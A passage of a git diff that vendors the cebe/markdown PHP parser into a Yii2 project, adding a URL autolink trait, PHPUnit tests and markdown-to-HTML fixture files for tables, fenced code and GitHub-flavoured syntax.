$markdown[1]], 2]; + } + + protected function renderStrike($block) + { + return '' . $this->renderAbsy($block[1]) . ''; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/inline/UrlLinkTrait.php b/php/yii2/basic/vendor/cebe/markdown/inline/UrlLinkTrait.php new file mode 100644 index 00000000..5712073d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/inline/UrlLinkTrait.php @@ -0,0 +1,48 @@ +[^\s()]+)|(?R))*\) + | # else match a link with title + ^(https?|ftp):\/\/(([^\s()]+)|(?R))+(?context) && preg_match($pattern, $markdown, $matches)) { + return [ + ['autoUrl', $matches[0]], + strlen($matches[0]) + ]; + } + return [['text', substr($markdown, 0, 4)], 4]; + } + + protected function renderAutoUrl($block) + { + $href = htmlspecialchars($block[1], ENT_COMPAT | ENT_HTML401, 'UTF-8'); + $text = htmlspecialchars(urldecode($block[1]), ENT_NOQUOTES | ENT_SUBSTITUTE, 'UTF-8'); + return "$text"; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/phpunit.xml.dist b/php/yii2/basic/vendor/cebe/markdown/phpunit.xml.dist new file mode 100644 index 00000000..8d41c255 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/phpunit.xml.dist @@ -0,0 +1,27 @@ + + + + + ./tests/ParserTest.php + + ./tests/MarkdownTest.php + ./tests/MarkdownOLStartNumTest.php + + ./tests/GithubMarkdownTest.php + + ./tests/MarkdownExtraTest.php + + + + + ./vendor + ./tests + + + + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/BaseMarkdownTest.php b/php/yii2/basic/vendor/cebe/markdown/tests/BaseMarkdownTest.php new file mode 100644 index 00000000..ccd6b758 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/BaseMarkdownTest.php @@ -0,0 +1,71 @@ + + */ +abstract class BaseMarkdownTest extends \PHPUnit_Framework_TestCase +{ + protected $outputFileExtension = '.html'; + + abstract public function getDataPaths(); + + abstract public function createMarkdown(); + + /** + * @dataProvider dataFiles + */ + public function testParse($path, $file) + { + list($markdown, $html) = $this->getTestData($path, $file); + // Different OS line endings should not affect test + $html = preg_replace('~\R~', "\n", $html); + + $m = $this->createMarkdown(); + $this->assertEquals($html, $m->parse($markdown)); + } + + public function testInvalidUtf8() + { + $m = $this->createMarkdown(); + $this->assertEquals('', $m->parseParagraph("`\x80`")); + } + + public function getTestData($path, $file) + { + return [ + file_get_contents($this->getDataPaths()[$path] . '/' . $file . '.md'), + file_get_contents($this->getDataPaths()[$path] . '/' . $file . $this->outputFileExtension), + ]; + } + + public function dataFiles() + { + $files = []; + foreach ($this->getDataPaths() as $name => $src) { + $handle = opendir($src); + if ($handle === false) { + throw new \Exception('Unable to open directory: ' . $src); + } + while (($file = readdir($handle)) !== false) { + if ($file === '.' || $file === '..') { + continue; + } + + if (substr($file, -3, 3) === '.md' && file_exists($src . '/' . substr($file, 0, -3) . $this->outputFileExtension)) { + $files[] = [$name, substr($file, 0, -3)]; + } + } + closedir($handle); + } + return $files; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/GithubMarkdownTest.php b/php/yii2/basic/vendor/cebe/markdown/tests/GithubMarkdownTest.php new file mode 100644 index 00000000..4367c602 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/GithubMarkdownTest.php @@ -0,0 +1,57 @@ + + * @group github + */ +class GithubMarkdownTest extends BaseMarkdownTest +{ + public function createMarkdown() + { + return new GithubMarkdown(); + } + + public function getDataPaths() + { + return [ + 'markdown-data' => __DIR__ . '/markdown-data', + 'github-data' => __DIR__ . '/github-data', + ]; + } + + public function testNewlines() + { + $markdown = $this->createMarkdown(); + $this->assertEquals("This is text
    \nnewline\nnewline.", $markdown->parseParagraph("This is text \nnewline\nnewline.")); + $markdown->enableNewlines = true; + $this->assertEquals("This is text
    \nnewline
    \nnewline.", $markdown->parseParagraph("This is text \nnewline\nnewline.")); + + $this->assertEquals("

    This is text

    \n

    newline
    \nnewline.

    \n", $markdown->parse("This is text\n\nnewline\nnewline.")); + } + + public function dataFiles() + { + $files = parent::dataFiles(); + foreach($files as $i => $f) { + // skip files that are different in github MD + if ($f[0] === 'markdown-data' && ( + $f[1] === 'list-marker-in-paragraph' || + $f[1] === 'dense-block-markers' + )) { + unset($files[$i]); + } + } + return $files; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownExtraTest.php b/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownExtraTest.php new file mode 100644 index 00000000..40fe9f10 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownExtraTest.php @@ -0,0 +1,24 @@ + + * @group extra + */ +class MarkdownExtraTest extends BaseMarkdownTest +{ + public function createMarkdown() + { + return new MarkdownExtra(); + } + + public function getDataPaths() + { + return [ + 'markdown-data' => __DIR__ . '/markdown-data', + 'extra-data' => __DIR__ . '/extra-data', + ]; + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownOLStartNumTest.php b/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownOLStartNumTest.php new file mode 100644 index 00000000..01788e39 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownOLStartNumTest.php @@ -0,0 +1,32 @@ + + * @group default + */ +class MarkdownOLStartNumTest extends BaseMarkdownTest +{ + public function createMarkdown() + { + $markdown = new Markdown(); + $markdown->keepListStartNumber = true; + return $markdown; + } + + public function getDataPaths() + { + return [ + 'markdown-data' => __DIR__ . '/markdown-ol-start-num-data', + ]; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownTest.php b/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownTest.php new file mode 100644 index 00000000..001cb71d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/MarkdownTest.php @@ -0,0 +1,37 @@ + + * @group default + */ +class MarkdownTest extends BaseMarkdownTest +{ + public function createMarkdown() + { + return new Markdown(); + } + + public function getDataPaths() + { + return [ + 'markdown-data' => __DIR__ . '/markdown-data', + ]; + } + + public function testEdgeCases() + { + $this->assertEquals("

    &

    \n", $this->createMarkdown()->parse('&')); + $this->assertEquals("

    <

    \n", $this->createMarkdown()->parse('<')); + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/ParserTest.php b/php/yii2/basic/vendor/cebe/markdown/tests/ParserTest.php new file mode 100644 index 00000000..619a2694 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/ParserTest.php @@ -0,0 +1,64 @@ + + * @group default + */ +class ParserTest extends \PHPUnit_Framework_TestCase +{ + public function testMarkerOrder() + { + $parser = new TestParser(); + $parser->markers = [ + '[' => 'parseMarkerA', + '[[' => 'parseMarkerB', + ]; + + $this->assertEquals("

    Result is A

    \n", $parser->parse('Result is [abc]')); + $this->assertEquals("

    Result is B

    \n", $parser->parse('Result is [[abc]]')); + $this->assertEquals('Result is A', $parser->parseParagraph('Result is [abc]')); + $this->assertEquals('Result is B', $parser->parseParagraph('Result is [[abc]]')); + + $parser = new TestParser(); + $parser->markers = [ + '[[' => 'parseMarkerB', + '[' => 'parseMarkerA', + ]; + + $this->assertEquals("

    Result is A

    \n", $parser->parse('Result is [abc]')); + $this->assertEquals("

    Result is B

    \n", $parser->parse('Result is [[abc]]')); + $this->assertEquals('Result is A', $parser->parseParagraph('Result is [abc]')); + $this->assertEquals('Result is B', $parser->parseParagraph('Result is [[abc]]')); + } +} + +class TestParser extends Parser +{ + public $markers = []; + + protected function inlineMarkers() + { + return $this->markers; + } + + protected function parseMarkerA($text) + { + return [['text', 'A'], strrpos($text, ']') + 1]; + } + + protected function parseMarkerB($text) + { + return [['text', 'B'], strrpos($text, ']') + 1]; + } +} diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/bootstrap.php b/php/yii2/basic/vendor/cebe/markdown/tests/bootstrap.php new file mode 100644 index 00000000..b7e49f91 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/bootstrap.php @@ -0,0 +1,5 @@ + +fenced code block + + +
    
    +fenced with tildes
    +
    +
    +
    long fence
    +
    +```
    +code about code
    +```
    +
    +
    +
    fenced code block
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/fenced-code.md b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/fenced-code.md new file mode 100644 index 00000000..871f7886 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/fenced-code.md @@ -0,0 +1,24 @@ +``` + +fenced code block + +``` + +~~~ + +fenced with tildes + +~~~ + +`````````` +long fence + +``` +code about code +``` + +`````````` + +``` .html #test +fenced code block +``` diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/special-attributes.html b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/special-attributes.html new file mode 100644 index 00000000..55de8087 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/special-attributes.html @@ -0,0 +1,12 @@ +

    Header 1

    +

    Header 2

    +

    The Site

    +

    The Site

    +

    link +img

    +

    link or linkref +img

    +

    this is just normal text {.main .shine #the-site}

    +

    some { brackets

    +

    some } brackets

    +

    some { } brackets

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/special-attributes.md b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/special-attributes.md new file mode 100644 index 00000000..0796d346 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/special-attributes.md @@ -0,0 +1,25 @@ +Header 1 {#header1} +======== + +## Header 2 ## {#header2} + +## The Site ## {.main} + +## The Site ## {.main .shine #the-site} + +[link](url){#id1 .class} +![img](url){#id2 .class} + + +[link][linkref] or [linkref] +![img][linkref] + +[linkref]: http://url.de/ "optional title" {#id .class} + +this is just normal text {.main .shine #the-site} + +some { brackets + +some } brackets + +some { } brackets \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/tables.html b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/tables.html new file mode 100644 index 00000000..1c5b0fa1 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/tables.html @@ -0,0 +1,89 @@ +

    Tables

    + + + + + + + + +
    First Header Second Header
    Content Cell Content Cell
    Content Cell Content Cell
    + + + + + + + + +
    First Header Second Header
    Content Cell Content Cell
    Content Cell Content Cell
    + + + + + + + + +
    Name Description
    Help Display the help window.
    Close Closes a window
    + + + + + + + + +
    Name Description
    Help Display the help window.
    Close Closes a window
    + + + + + + + + + +
    Left-Aligned Center Aligned Right Aligned
    col 3 is some wordy text $1600
    col 2 is centered $12
    zebra stripes are neat $1
    + + + + + + + + +
    Simple Table
    1 2
    3 4
    + + + + + + + + + + +
    Simple Table
    1 2
    3 4
    3 4 |
    3 4 \
    +

    Check https://github.com/erusev/parsedown/issues/184 for the following:

    + + + + + + + + + + + +
    Foo Bar State
    Code | Pipe Broken Blank
    Escaped Code \| Pipe Broken Blank
    Escaped | Pipe Broken Blank
    Escaped \Pipe Broken Blank
    Escaped \ Pipe Broken Blank
    + + + + + + + +
    Simple Table
    3 4
    +

    3 | 4

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/tables.md b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/tables.md new file mode 100644 index 00000000..eab866d1 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/tables.md @@ -0,0 +1,56 @@ +Tables +------ + +First Header | Second Header +------------- | ------------- +Content Cell | Content Cell +Content Cell | Content Cell + +| First Header | Second Header | +| ------------- | ------------- | +| Content Cell | Content Cell | +| Content Cell | Content Cell | + +| Name | Description | +| ------------- | ----------- | +| Help | Display the help window.| +| Close | Closes a window | + +| Name | Description | +| ------------- | ----------- | +| Help | **Display the** help window.| +| Close | _Closes_ a window | + +| Left-Aligned | Center Aligned | Right Aligned | +| :------------ |:---------------:| -----:| +| col 3 is | some wordy text | $1600 | +| col 2 is | centered | $12 | +| zebra stripes | are neat | $1 | + + +Simple | Table +------ | ----- +1 | 2 +3 | 4 + +| Simple | Table | +| ------ | ----- | +| 1 | 2 | +| 3 | 4 | +| 3 | 4 \| +| 3 | 4 \\| + +Check https://github.com/erusev/parsedown/issues/184 for the following: + +Foo | Bar | State +------ | ------ | ----- +`Code | Pipe` | Broken | Blank +`Escaped Code \| Pipe` | Broken | Blank +Escaped \| Pipe | Broken | Blank +Escaped \\| Pipe | Broken | Blank +Escaped \\ | Pipe | Broken | Blank + +| Simple | Table | +| :----- | ----- | +| 3 | 4 | +3 | 4 diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/test_precedence.html b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/test_precedence.html new file mode 100644 index 00000000..e452a929 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/test_precedence.html @@ -0,0 +1,8 @@ +

    Not a headline but a code block:

    +
    ---
    +
    +

    Not a headline but two HR:

    +
    +
    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/test_precedence.md b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/test_precedence.md new file mode 100644 index 00000000..66b49425 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/extra-data/test_precedence.md @@ -0,0 +1,14 @@ +Not a headline but a code block: + +``` +--- +``` + +Not a headline but two HR: + +*** +--- + +--- +*** + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/del.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/del.html new file mode 100644 index 00000000..efacb5c4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/del.html @@ -0,0 +1,5 @@ +

    this is striked out after

    +

    striked out

    +

    a line with ~~ in it ...

    +

    ~~

    +

    ~

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/del.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/del.md new file mode 100644 index 00000000..8a3c701a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/del.md @@ -0,0 +1,9 @@ +this is ~~striked out~~ after + +~~striked out~~ + +a line with ~~ in it ... + +~~ + +~ \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/dense-block-markers.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/dense-block-markers.html new file mode 100644 index 00000000..daac5ed4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/dense-block-markers.html @@ -0,0 +1,52 @@ +

    this is to test dense blocks (no newlines between them)

    +
    +

    what is Markdown?

    +

    see Wikipedia

    +

    a h2

    +

    paragraph

    +

    this is a paragraph, not a headline or list +next line

    +
      +
    • whoo
    • +
    +

    par

    +
    code
    +code
    +
    +

    par

    +

    Tasks list

    +
      +
    • list items
    • +
    +

    headline1

    +

    quote +quote

    +
    +

    headline2

    +
    +

    h1

    +

    h2

    +
    +

    h3

    +
      +
    1. ol1
    2. +
    3. ol2
    4. +
    +

    h4

    +
      +
    • listA
    • +
    • listB
    • +
    +
    h5
    +
    h6
    +
    +
    +

    changelog 1

    +
      +
    • 17-Feb-2013 re-design
    • +
    +
    +

    changelog 2

    +
      +
    • 17-Feb-2013 re-design
    • +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/dense-block-markers.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/dense-block-markers.md new file mode 100644 index 00000000..ea365b86 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/dense-block-markers.md @@ -0,0 +1,56 @@ +# this is to test dense blocks (no newlines between them) + +---- +## what is Markdown? +see [Wikipedia][] + +a h2 +---- +paragraph + +this is a paragraph, not a headline or list +next line +- whoo + +par + code + code +par + +### Tasks list +- list items + +headline1 +--------- +> quote +> quote + +[Wikipedia]: http://en.wikipedia.org/wiki/Markdown +headline2 +--------- + +---- +# h1 +## h2 +--- +### h3 +1. ol1 +2. ol2 + +#### h4 +- listA +- listB + +##### h5 +###### h6 +-------- + +---- + +## changelog 1 + +* 17-Feb-2013 re-design + +---- +## changelog 2 +* 17-Feb-2013 re-design \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-basics.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-basics.html new file mode 100644 index 00000000..5a4d7d3d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-basics.html @@ -0,0 +1,19 @@ +

    GitHub Flavored Markdown

    +

    Multiple underscores in words

    +

    do_this_and_do_that_and_another_thing

    +

    URL autolinking

    +

    http://example.com

    +

    Strikethrough

    +

    Mistaken text.

    +

    Fenced code blocks

    +
    function test() {
    +  console.log("notice the blank line before this function?");
    +}
    +
    +

    Syntax highlighting

    +
    require 'redcarpet'
    +markdown = Redcarpet.new("Hello World!")
    +puts markdown.to_html
    +
    +
    this is also code
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-basics.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-basics.md new file mode 100644 index 00000000..ddb97d55 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-basics.md @@ -0,0 +1,40 @@ +GitHub Flavored Markdown +======================== + +Multiple underscores in words +----------------------------- + +do_this_and_do_that_and_another_thing + +URL autolinking +--------------- + +http://example.com + +Strikethrough +------------- + +~~Mistaken text.~~ + +Fenced code blocks +------------------ + +``` +function test() { + console.log("notice the blank line before this function?"); +} +``` + +Syntax highlighting +------------------- + +```ruby +require 'redcarpet' +markdown = Redcarpet.new("Hello World!") +puts markdown.to_html +``` + +~~~ +this is also code +~~~ + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-code-in-numbered-list.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-code-in-numbered-list.html new file mode 100644 index 00000000..cc149575 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-code-in-numbered-list.html @@ -0,0 +1,12 @@ +
      +
    1. Item one.
    2. +
    3. Item two with some code:

      +
      code one
      +
      +
    4. +
    5. Item three with code:

      +
      code two
      +
      +
    6. +
    +

    Paragraph.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-code-in-numbered-list.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-code-in-numbered-list.md new file mode 100644 index 00000000..880ff473 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-code-in-numbered-list.md @@ -0,0 +1,14 @@ +1. Item one. +2. Item two with some code: + + ``` + code one + ``` + +3. Item three with code: + + ``` + code two + ``` + +Paragraph. \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-sample.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-sample.html new file mode 100644 index 00000000..b2e3962d --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-sample.html @@ -0,0 +1,117 @@ +

    GitHub Flavored Markdown

    +

    View the source of this content.

    +

    Let's get the whole "linebreak" thing out of the way. The next paragraph contains two phrases separated by a single newline character:

    +

    Roses are red +Violets are blue

    +

    The next paragraph has the same phrases, but now they are separated by two spaces and a newline character:

    +

    Roses are red
    +Violets are blue

    +

    Oh, and one thing I cannot stand is the mangling of words with multiple underscores in them like perform_complicated_task or do_this_and_do_that_and_another_thing.

    +

    A bit of the GitHub spice

    +

    In addition to the changes in the previous section, certain references are auto-linked:

    +
      +
    • SHA: be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
    • +
    • User@SHA ref: mojombo@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
    • +
    • User/Project@SHA: mojombo/god@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
    • +
    • #Num: #1
    • +
    • User/#Num: mojombo#1
    • +
    • User/Project#Num: mojombo/god#1
    • +
    +

    These are dangerous goodies though, and we need to make sure email addresses don't get mangled:

    +

    My email addy is tom@github.com.

    +

    Math is hard, let's go shopping

    +

    In first grade I learned that 5 > 3 and 2 < 7. Maybe some arrows. 1 -> 2 -> 3. 9 <- 8 <- 7.

    +

    Triangles man! a^2 + b^2 = c^2

    +

    We all like making lists

    +

    The above header should be an H2 tag. Now, for a list of fruits:

    +
      +
    • Red Apples
    • +
    • Purple Grapes
    • +
    • Green Kiwifruits
    • +
    +

    Let's get crazy:

    +
      +
    1. This is a list item with two paragraphs. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. Aliquam hendrerit +mi posuere lectus.

      +

      Vestibulum enim wisi, viverra nec, fringilla in, laoreet +vitae, risus. Donec sit amet nisl. Aliquam semper ipsum +sit amet velit.

      +
    2. +
    3. Suspendisse id sem consectetuer libero luctus adipiscing.

      +
    4. +
    +

    What about some code in a list? That's insane, right?

    +
      +
    1. In Ruby you can map like this:

      +
       ['a', 'b'].map { |x| x.uppercase }
      +
      +
    2. +
    3. In Rails, you can do a shortcut:

      +
       ['a', 'b'].map(&:uppercase)
      +
      +
    4. +
    +

    Some people seem to like definition lists

    +
    +
    Lower cost
    +
    The new version of this product costs significantly less than the previous one!
    +
    Easier to use
    +
    We've changed the product so that it's much easier to use!
    +
    +

    I am a robot

    +

    Maybe you want to print robot to the console 1000 times. Why not?

    +
    def robot_invasion
    +  puts("robot " * 1000)
    +end
    +
    +

    You see, that was formatted as code because it's been indented by four spaces.

    +

    How about we throw some angle braces and ampersands in there?

    +
    <div class="footer">
    +    &copy; 2004 Foo Corporation
    +</div>
    +
    +

    Set in stone

    +

    Preformatted blocks are useful for ASCII art:

    +
    +             ,-. 
    +    ,     ,-.   ,-. 
    +   / \   (   )-(   ) 
    +   \ |  ,.>-(   )-< 
    +    \|,' (   )-(   ) 
    +     Y ___`-'   `-' 
    +     |/__/   `-' 
    +     | 
    +     | 
    +     |    -hrr- 
    +  ___|_____________ 
    +
    +

    Playing the blame game

    +

    If you need to blame someone, the best way to do so is by quoting them:

    +

    I, at any rate, am convinced that He does not throw dice.

    +
    +

    Or perhaps someone a little less eloquent:

    +

    I wish you'd have given me this written question ahead of time so I +could plan for it... I'm sure something will pop into my head here in +the midst of this press conference, with all the pressure of trying to +come up with answer, but it hadn't yet...

    +

    I don't want to sound like +I have made no mistakes. I'm confident I have. I just haven't - you +just put me under the spot here, and maybe I'm not as quick on my feet +as I should be in coming up with one.

    +
    +

    Table for two

    + + + + + + + + + + +
    IDNameRank
    1Tom Preston-WernerAwesome
    2Albert EinsteinNearly as awesome
    +

    Crazy linking action

    +

    I get 10 times more traffic from Google than from +Yahoo or MSN.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-sample.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-sample.md new file mode 100644 index 00000000..dd2a804a --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/github-sample.md @@ -0,0 +1,159 @@ +GitHub Flavored Markdown +================================ + +*View the [source of this content](http://github.github.com/github-flavored-markdown/sample_content.html).* + +Let's get the whole "linebreak" thing out of the way. The next paragraph contains two phrases separated by a single newline character: + +Roses are red +Violets are blue + +The next paragraph has the same phrases, but now they are separated by two spaces and a newline character: + +Roses are red +Violets are blue + +Oh, and one thing I cannot stand is the mangling of words with multiple underscores in them like perform_complicated_task or do_this_and_do_that_and_another_thing. + +A bit of the GitHub spice +------------------------- + +In addition to the changes in the previous section, certain references are auto-linked: + +* SHA: be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2 +* User@SHA ref: mojombo@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2 +* User/Project@SHA: mojombo/god@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2 +* \#Num: #1 +* User/#Num: mojombo#1 +* User/Project#Num: mojombo/god#1 + +These are dangerous goodies though, and we need to make sure email addresses don't get mangled: + +My email addy is tom@github.com. + +Math is hard, let's go shopping +------------------------------- + +In first grade I learned that 5 > 3 and 2 < 7. Maybe some arrows. 1 -> 2 -> 3. 9 <- 8 <- 7. + +Triangles man! a^2 + b^2 = c^2 + +We all like making lists +------------------------ + +The above header should be an H2 tag. Now, for a list of fruits: + +* Red Apples +* Purple Grapes +* Green Kiwifruits + +Let's get crazy: + +1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + +2. Suspendisse id sem consectetuer libero luctus adipiscing. + +What about some code **in** a list? That's insane, right? + +1. In Ruby you can map like this: + + ['a', 'b'].map { |x| x.uppercase } + +2. In Rails, you can do a shortcut: + + ['a', 'b'].map(&:uppercase) + +Some people seem to like definition lists + +
    +
    Lower cost
    +
    The new version of this product costs significantly less than the previous one!
    +
    Easier to use
    +
    We've changed the product so that it's much easier to use!
    +
    + +I am a robot +------------ + +Maybe you want to print `robot` to the console 1000 times. Why not? + + def robot_invasion + puts("robot " * 1000) + end + +You see, that was formatted as code because it's been indented by four spaces. + +How about we throw some angle braces and ampersands in there? + + + +Set in stone +------------ + +Preformatted blocks are useful for ASCII art: + +
    +             ,-. 
    +    ,     ,-.   ,-. 
    +   / \   (   )-(   ) 
    +   \ |  ,.>-(   )-< 
    +    \|,' (   )-(   ) 
    +     Y ___`-'   `-' 
    +     |/__/   `-' 
    +     | 
    +     | 
    +     |    -hrr- 
    +  ___|_____________ 
    +
    + +Playing the blame game +---------------------- + +If you need to blame someone, the best way to do so is by quoting them: + +> I, at any rate, am convinced that He does not throw dice. + +Or perhaps someone a little less eloquent: + +> I wish you'd have given me this written question ahead of time so I +> could plan for it... I'm sure something will pop into my head here in +> the midst of this press conference, with all the pressure of trying to +> come up with answer, but it hadn't yet... +> +> I don't want to sound like +> I have made no mistakes. I'm confident I have. I just haven't - you +> just put me under the spot here, and maybe I'm not as quick on my feet +> as I should be in coming up with one. + +Table for two +------------- + + + + + + + + + + + +
    IDNameRank
    1Tom Preston-WernerAwesome
    2Albert EinsteinNearly as awesome
    + +Crazy linking action +-------------------- + +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-33.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-33.html new file mode 100644 index 00000000..37ca8f41 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-33.html @@ -0,0 +1,5 @@ +
    hey, check [this].
    +
    +[this]: https://github.com/cebe/markdown
    +
    +

    is a vaild reference.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-33.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-33.md new file mode 100644 index 00000000..1f639db6 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-33.md @@ -0,0 +1,6 @@ +``` +hey, check [this]. + +[this]: https://github.com/cebe/markdown +``` +is a vaild reference. \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-38.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-38.html new file mode 100644 index 00000000..d0f1c0a9 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-38.html @@ -0,0 +1,15 @@ +

    some text +`` +// some code +\``

    +
    +

    some text +// some code

    +
    +

    some text +// some code

    +
    +

    some text

    +
    // some code
    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-38.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-38.md new file mode 100644 index 00000000..cea49f58 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/issue-38.md @@ -0,0 +1,20 @@ +> some text +\``` +// some code +\``` + +> some text +``` +// some code +``` + +> some text +> ``` +// some code +``` + +> some text +> +> ``` +// some code +``` diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/lists.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/lists.html new file mode 100644 index 00000000..eb6d28a1 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/lists.html @@ -0,0 +1,7 @@ +

    Text before list:

    +
      +
    • item 1,
    • +
    • item 2,
    • +
    • item 3.
    • +
    +

    Text after list.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/lists.md b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/lists.md new file mode 100644 index 00000000..1e54c807 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/lists.md @@ -0,0 +1,6 @@ +Text before list: + * item 1, + * item 2, + * item 3. + +Text after list. \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/github-data/tables.html b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/tables.html new file mode 100644 index 00000000..ab035dad --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/github-data/tables.html @@ -0,0 +1,89 @@ +

    Tables

    + + + + + + + + +
    First Header Second Header
    Content Cell Content Cell
    Content Cell Content Cell
    + + + + + + + + +
    First Header Second Header
    Content Cell Content Cell
    Content Cell Content Cell
    + + + + + + + + +
    Name Description
    Help Display the help window.
    Close Closes a window
    + + + + + + + + +
    Name Description
    Help Display the help window.
    Close Closes a window
    + + + + + + + + + +
    Left-Aligned Center Aligned Right Aligned
    col 3 is some wordy text $1600
    col 2 is centered $12
    zebra stripes are neat $1
